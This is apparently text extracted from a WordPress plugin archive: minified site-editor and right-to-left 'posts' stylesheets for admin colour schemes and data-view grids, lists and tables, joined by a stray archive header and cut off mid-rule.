.edit-site-global-styles-variations_item-preview{outline-color:#0000004d}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:#1e1e1e;outline-offset:1px;outline-width:var(--wp-admin-border-width-focus)}.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root{box-shadow:none}.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root>div>hr{display:none}.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider{overflow-y:auto;padding-left:0;padding-right:0}.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{border-top:none}.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{outline:none;padding:12px}.edit-site-styles .edit-site-page-content .edit-site-page-header{padding-left:48px;padding-right:48px}@container (max-width: 430px){.edit-site-styles .edit-site-page-content .edit-site-page-header{padding-left:24px;padding-right:24px}}.edit-site-styles .edit-site-page-content .edit-site-sidebar-button{color:#1e1e1e}.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}::view-transition-image-pair(root){isolation:auto}::view-transition-new(root),::view-transition-old(root){animation:none;display:block;mix-blend-mode:normal}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-right:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{right:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.edit-site{box-sizing:border-box;height:100vh}.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[0/&����� dist/edit-site/posts-rtl.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;padding:16px 48px;position:sticky;right:0}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-left:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;width:230px}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 8px 0}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){border-bottom:1px solid #e0e0e0;padding-bottom:8px}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;left:4px;padding:0;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;gap:8px;margin-block-end:2px;padding:8px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{fill:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{flex-shrink:0;height:24px;width:24px}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{background:#f0f0f0;border:none;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin-left:0;margin-right:0;padding:0 8px 0 32px;width:100%}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{align-items:center;display:flex;justify-content:center;left:12px;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;left:0;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;text-align:center;top:0;transform:translate(-50%,-50%)}.dataviews-search{width:fit-content}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;padding:12px 48px;position:sticky;right:0;z-index:2}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-selection-checkbox{--checkbox-input-size:24px;flex-shrink:0;line-height:0}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid{container-type:inline-size;grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@media not (prefers-reduced-motion){.dataviews-view-grid{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-items:center;display:flex;min-height:24px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#f0f0f0;border-radius:4px;min-height:200px;position:relative;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;pointer-events:none;position:absolute;right:0;top:0;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{align-items:center;min-height:24px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{color:#757575;width:35%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){display:none}.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){padding-bottom:12px}@container (max-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(1,minmax(0,1fr));padding-left:24px;padding-right:24px}}@container (min-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(2,minmax(0,1fr))}}@container (min-width: 780px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(3,minmax(0,1fr))}}@container (min-width: 1140px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(4,minmax(0,1fr))}}@container (min-width: 1520px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(5,minmax(0,1fr))}}.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{display:none}.dataviews-view-grid__card .dataviews-selection-checkbox{position:absolute;right:8px;top:-9999em;z-index:1}.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{top:8px}.dataviews-view-grid__media--clickable{cursor:pointer}div.dataviews-view-list{list-style-type:none}.dataviews-view-list{margin:0 0 auto}.dataviews-view-list div[role=row]{border-top:1px solid #f0f0f0;margin:0}.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{box-sizing:border-box;padding:16px 24px;position:relative}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{flex:0;overflow:hidden}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{height:24px}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{opacity:0;position:relative;z-index:1}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{flex-basis:min-content;overflow:unset;padding-inline-end:4px}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{opacity:1}.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{color:#1e1e1e}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{background-color:#f8f8f8;color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#1e1e1e}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list .dataviews-view-list__item{appearance:none;background:none;border:none;cursor:pointer;inset:0;padding:0;position:absolute;scroll-margin:8px 0;z-index:1}.dataviews-view-list .dataviews-view-list__item:focus-visible{outline:none}.dataviews-view-list .dataviews-view-list__item:focus-visible:before{border-radius:2px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.dataviews-view-list .dataviews-view-list__title-field{flex:1;line-height:24px;min-height:24px;overflow:hidden}.dataviews-view-list .dataviews-view-list__title-field:has(a,button){z-index:1}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#f0f0f0;border-radius:4px;flex-shrink:0;height:52px;overflow:hidden;position:relative;width:52px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.dataviews-view-list .dataviews-view-list__field-wrapper{flex-grow:1;min-height:52px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:12px;row-gap:4px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{display:none}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{align-items:center;display:flex;line-height:20px;min-height:24px}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;margin-bottom:auto;position:relative;text-indent:0;width:100%}.dataviews-view-table th{color:#1e1e1e;font-size:13px;font-weight:400;text-align:right}.dataviews-view-table td,.dataviews-view-table th{padding:12px;white-space:nowrap}.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{text-align:left}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-left:0;width:1%}.dataviews-view-table tr{border-top:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-right:48px}.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-right:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-left:48px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr.is-hovered{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{opacity:1}.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:0}.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}@media (hover:none){.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead 